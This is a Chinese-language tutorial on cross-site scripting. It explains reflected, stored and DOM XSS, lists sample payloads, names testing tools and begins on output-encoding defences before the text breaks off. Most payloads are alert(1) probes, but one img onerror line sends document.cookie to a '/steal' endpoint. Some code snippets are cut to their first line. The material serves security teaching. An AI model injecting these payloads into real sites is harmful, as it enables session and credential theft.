XSS渗透与防御
引言
跨站脚本攻击(Cross-Site Scripting,简称 XSS)是 Web 安全中最常见、影响最广泛的漏洞之一。它允许攻击者将恶意脚本注入到目标页面,在用户浏览器中执行,从而窃取凭证、劫持会话、篡改页面内容,并可进一步发动钓鱼、勒索或蠕虫传播。
XSS 基础概念
XSS 的三类常见类型
反射型 XSS(Reflected XSS)
- 恶意脚本作为请求参数提交给服务器,服务器将其原样返回并嵌入页面
- 通常通过钓鱼链接触发
存储型 XSS(Stored XSS)
- 恶意脚本存储在数据库、评论区、日志等持久位置
- 所有访问该内容的用户都会触发
DOM型 XSS(DOM-based XSS)
- 漏洞发生在客户端脚本处理 DOM 时,攻击者控制的数据直接写入页面
- 与服务器返回内容无关,仅由前端脚本引发
XSS 的攻击目标
- Cookie / session:窃取登录状态
- 本地存储 / 会话存储:窃取敏感数据
- 页面 DOM:篡改页面、植入钓鱼界面
- 浏览器行为:重定向用户、发起隐蔽请求
- 浏览器扩展接口:在少数情况下获取扩展数据
XSS 的利用原理
反射型 XSS 示例
1 | <!-- 伪造搜索结果页面 --> |
若输入<script>alert(1)</script>并返回未转义,则页面会执行该脚本。
存储型 XSS 示例
1 | <!-- 评论发布接口直接保存输入 --> |
如果后端将comment字段原样输出到页面,则所有浏览用户都会执行该脚本。
DOM XSS 示例
1 | <div id="output"></div> |
访问http://site.com/page#<img src=x onerror=alert(1)>即可触发 DOM XSS。
现代 XSS 变体
DOM Mutation XSS
当前端代码使用innerHTML、outerHTML、insertAdjacentHTML、document.write等,将攻击者控制的数据插入页面时,即可触发。
属性型 XSS
攻击者将恶意输入写入属性值,如href、src、style、onerror等。
1 | <img src="x" onerror="fetch('/steal?c=' + document.cookie)"> |
JavaScript 语句注入
不安全地构造eval()、new Function()或setTimeout(string)时,用户输入可直接被当成代码执行。
1 | var userCode = getUserInput(); |
存储型 JSON / API XSS
当应用将用户生成内容存储为 JSON 并由前端模板反序列化时,若未正确转义也可能被利用。
XSS 常见 payload 和攻击技巧
基本 payload
<script>alert(1)</script>'><script>alert(1)</script>"><img src=x onerror=alert(1)>javascript:alert(1)
进阶 payload
</script><svg/onload=alert(1)><iframe srcdoc="<script>alert(1)</script>"><details open ontoggle=alert(1)>(利用未知标签属性)<body onload=alert(1)>(少数浏览器可用)
HTML 属性与事件处理器绕过
onerror=alert(1)onmouseover=alert(1)style="background:url(javascript:alert(1))"
JavaScript URL 绕过
<a href="javascript:alert(1)">click</a><img src="x" onerror="location='javascript:alert(1)'"></img>
DOM XSS 典型 payload
1 | #hash=<svg/onload=alert(1)> |
或
1 | #fragment=<img src=x onerror=alert(1)> |
这些 payload 适用于前端直接将 hash/fragment 输出到页面的场景。
XSS 利用后果
会话窃取
通过document.cookie读取Cookie并发送给攻击者。
页面劫持
修改按钮、表单、链接,重定向用户到钓鱼页面。
持久化后门
在管理员页面插入恶意脚本,影响后续所有用户。
横向传播
在社交平台、论坛中自动发布恶意链接,实现蠕虫式传播。
检测与审计
手工测试
- 查找输入点:搜索框、评论、URL 参数、cookie、HTTP 头
- 注入易触发 payload:
<script>alert(1)</script>、<img src=x onerror=alert(1)> - 检查是否存在未转义输出
工具支持
- Burp Suite:Intruder、Scanner
- OWASP ZAP
- DOM Invader
- XSSer
- Nuclei、Arachni
代码审计要点
- 查找输出点:
innerHTML、outerHTML、document.write、eval、setTimeout、Function - 查找服务器端输出:
echo,print,jsp:out,Response.Write - 查找模板渲染:是否对变量进行了转义
浏览器安全检测
- 检查 CSP 是否启用
- 观察 XSS Filter / 浏览器拦截行为
XSS 防御策略
防御核心:输入过滤 + 输出编码
对输出进行上下文转义
不同输出上下文使用不同编码:
- HTML body:转义
<, >, &, ", ' - HTML 属性:还需转义
/、=、空格 - JavaScript:转义引号、换行、
